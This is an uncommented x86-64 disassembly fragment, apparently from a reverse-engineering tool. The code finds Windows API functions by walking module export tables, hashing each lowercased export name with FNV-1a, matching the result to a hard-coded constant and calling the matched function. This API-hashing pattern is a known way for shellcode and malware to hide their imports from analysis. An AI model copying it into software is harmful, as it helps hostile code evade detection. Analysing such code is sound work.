mov eax, dword [rax + 0x18]
mov dword [rsp + 0xa3c], eax
mov eax, dword [rsp + 0xa3c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0xa3c], ecx
cmp eax, 0
je 0x1400236d1
movabs rax, 0xda69b434985511cf
mov qword [rsp + 0xab8], rax
mov rax, qword [rsp + 0xab8]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0xa3c]
mov dword [rsp + 0xab4], eax
lea rax, [rsp + 0xd38]
mov qword [rsp + 0xaa8], rax
mov r8, qword [rsp + 0xaa8]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0xab4]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0xa9c], ecx
mov qword [rsp + 0xa90], rax
mov eax, dword [rsp + 0xa9c]
mov dword [rsp + 0xa8c], eax
mov rax, qword [rsp + 0xa90]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0xa90], rcx
mov al, byte [rax]
mov byte [rsp + 0xa8b], al
cmp byte [rsp + 0xa8b], 0
je 0x140023699
mov cl, byte [rsp + 0xa8b]
mov eax, dword [rsp + 0xa8c]
mov byte [rsp + 0xaa7], cl
mov dword [rsp + 0xaa0], eax
mov eax, dword [rsp + 0xaa0]
mov dword [rsp + 0x4c], eax
movsx eax, byte [rsp + 0xaa7]
cmp eax, 0x41
jl 0x14002366e
movsx eax, byte [rsp + 0xaa7]
cmp eax, 0x5a
jg 0x14002366e
movsx eax, byte [rsp + 0xaa7]
or eax, 0x20
mov dword [rsp + 0x48], eax
jmp 0x14002367a
movsx eax, byte [rsp + 0xaa7]
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x4c]
mov ecx, dword [rsp + 0x48]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0xa8c], eax
jmp 0x1400235e3
mov eax, dword [rsp + 0xa8c]
movabs rcx, 0xda69b434985511cf
mov qword [rsp + 0xa80], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0xa80]
cmp eax, ecx
je 0x14002370c
jmp 0x140023544
jmp 0x1400236d6
lea rax, [rsp + 0xd50]
mov qword [rsp + 0xa50], rax
mov rax, qword [rsp + 0xa50]
mov rcx, qword [rax]
mov qword [rsp + 0xa58], rcx
mov rcx, qword [rsp + 0xa58]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x14002346e
mov eax, dword [rsp + 0xa3c]
mov dword [rsp + 0xa7c], eax
lea rax, [rsp + 0xd38]
mov qword [rsp + 0xa70], rax
mov rax, qword [rsp + 0xa70]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0xa68], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0xa60], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa68]
mov rdx, qword [rsp + 0xa60]
mov r8d, dword [rsp + 0xa7c]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0xa40], rax
mov rax, qword [rsp + 0xa40]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0xa30]
call fcn.14002f000
mov rcx, rax
mov rax, qword [rsp + 0x40]
mov ecx, dword [rcx]
call rax
mov rcx, qword [rsp + 0xd60]
xor rcx, rsp
call fcn.14002f100
nop
add rsp, 0xd68
ret